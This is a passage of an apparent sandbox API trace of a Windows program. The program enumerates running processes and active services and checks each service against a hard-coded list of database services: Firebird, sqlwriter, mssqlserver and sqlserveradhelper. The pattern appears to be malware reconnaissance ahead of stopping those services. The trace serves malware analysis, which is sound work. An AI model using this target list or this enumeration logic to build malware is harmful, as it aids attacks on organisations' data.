[0306.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0306.648] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0306.649] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0306.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0306.649] lstrlenW (lpString="SysMain") returned 7 [0306.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0306.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0306.649] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0306.649] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0306.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0306.649] lstrlenW (lpString="SystemEventsBroker") returned 18 [0306.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0306.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0306.649] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0306.649] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0306.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0306.649] lstrlenW (lpString="Themes") returned 6 [0306.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0306.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0306.649] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0306.649] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0306.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0306.649] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0306.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0306.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0306.649] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0306.649] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0306.649] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3d0b560 | out: hHeap=0x700000) returned 1 [0306.649] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0306.654] Process32FirstW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0306.655] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0306.659] lstrlenW (lpString="System") returned 6 [0306.659] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0306.660] lstrlenW (lpString="smss.exe") returned 8 [0306.660] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0306.661] lstrlenW (lpString="csrss.exe") returned 9 [0306.661] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0306.663] lstrlenW (lpString="wininit.exe") returned 11 [0306.663] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0306.664] lstrlenW (lpString="csrss.exe") returned 9 [0306.664] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0306.665] lstrlenW (lpString="winlogon.exe") returned 12 [0306.665] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0306.666] lstrlenW (lpString="services.exe") returned 12 [0306.666] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0306.667] lstrlenW (lpString="lsass.exe") returned 9 [0306.667] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0306.668] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0306.668] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0306.669] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0306.669] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.669] lstrlenW (lpString="svchost.exe") returned 11 [0306.669] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.670] lstrlenW (lpString="svchost.exe") returned 11 [0306.670] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0306.671] lstrlenW (lpString="dwm.exe") returned 7 [0306.671] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.672] lstrlenW (lpString="svchost.exe") returned 11 [0306.672] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.673] lstrlenW (lpString="svchost.exe") returned 11 [0306.673] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.674] lstrlenW (lpString="svchost.exe") returned 11 [0306.674] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.674] lstrlenW (lpString="svchost.exe") returned 11 [0306.674] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.675] lstrlenW (lpString="svchost.exe") returned 11 [0306.675] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.676] lstrlenW (lpString="svchost.exe") returned 11 [0306.676] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.677] lstrlenW (lpString="svchost.exe") returned 11 [0306.677] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.678] lstrlenW (lpString="svchost.exe") returned 11 [0306.678] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.678] lstrlenW (lpString="svchost.exe") returned 11 [0306.678] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.679] lstrlenW (lpString="svchost.exe") returned 11 [0306.679] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0307.367] lstrlenW (lpString="spoolsv.exe") returned 11 [0307.367] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.368] lstrlenW (lpString="svchost.exe") returned 11 [0307.368] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0307.368] lstrlenW (lpString="audiodg.exe") returned 11 [0307.368] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0307.369] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0307.369] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0307.370] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0307.370] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0307.371] lstrlenW (lpString="Memory Compression") returned 18 [0307.371] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.372] lstrlenW (lpString="svchost.exe") returned 11 [0307.372] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0307.372] lstrlenW (lpString="sihost.exe") returned 10 [0307.373] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0307.373] lstrlenW (lpString="taskhostw.exe") returned 13 [0307.374] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0307.374] lstrlenW (lpString="msoia.exe") returned 9 [0307.374] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0307.375] lstrlenW (lpString="explorer.exe") returned 12 [0307.375] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0307.376] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0307.376] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0307.377] lstrlenW (lpString="SearchUI.exe") returned 12 [0307.377] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0307.377] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0307.377] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0307.378] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0307.378] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0307.379] lstrlenW (lpString="chrome64b.exe") returned 13 [0307.379] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0307.380] lstrlenW (lpString="cmd.exe") returned 7 [0307.380] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0307.381] lstrlenW (lpString="conhost.exe") returned 11 [0307.381] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0307.382] lstrlenW (lpString="conhost.exe") returned 11 [0307.382] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0307.383] lstrlenW (lpString="mode.com") returned 8 [0307.383] Process32NextW (in: hSnapshot=0x390, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0307.383] CloseHandle (hObject=0x390) returned 1 [0307.383] Sleep (dwMilliseconds=0x1f4) [0307.941] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x759cc0 [0307.942] EnumServicesStatusExW (in: hSCManager=0x759cc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 0 [0307.942] GetLastError () returned 0xea [0307.942] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c30) returned 0x3d0c568 [0307.942] EnumServicesStatusExW (in: hSCManager=0x759cc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d0c568, cbBufSize=0x1c30, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d0c568, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 1 [0307.943] CloseServiceHandle (hSCObject=0x759cc0) returned 1 [0307.944] lstrlenW (lpString="Appinfo") returned 7 [0307.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0307.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0307.944] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0307.944] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0307.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0307.944] lstrlenW (lpString="AppXSvc") returned 7 [0307.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0307.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0307.944] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0307.944] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0307.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0307.944] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0307.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0307.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0307.944] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0307.944] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0307.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0307.944] lstrlenW (lpString="Audiosrv") returned 8 [0307.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0307.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0307.944] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0307.944] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0307.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0307.944] lstrlenW (lpString="BFE") returned 3 [0307.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0307.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0307.945] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0307.945] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0307.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0307.945] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0307.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0307.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0307.945] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0307.945] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0307.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0307.945] lstrlenW (lpString="CDPSvc") returned 6 [0307.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0307.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0307.945] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0307.945] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0307.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0307.945] lstrlenW (lpString="ClickToRunSvc") returned 13 [0307.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0307.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0307.945] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0307.945] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0307.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0307.945] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0307.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0307.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0307.945] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0307.945] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0307.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0307.945] lstrlenW (lpString="CryptSvc") returned 8 [0307.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0307.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0307.946] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0307.946] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0307.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0307.946] lstrlenW (lpString="DcomLaunch") returned 10 [0307.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0307.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0307.946] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0307.946] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0307.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0307.946] lstrlenW (lpString="DeviceAssociationService") returned 24 [0307.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0307.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0307.946] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0307.946] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0307.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0307.946] lstrlenW (lpString="Dhcp") returned 4 [0307.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0307.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0307.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0307.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0307.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0307.946] lstrlenW (lpString="Dnscache") returned 8 [0307.946] lstrcmpiW 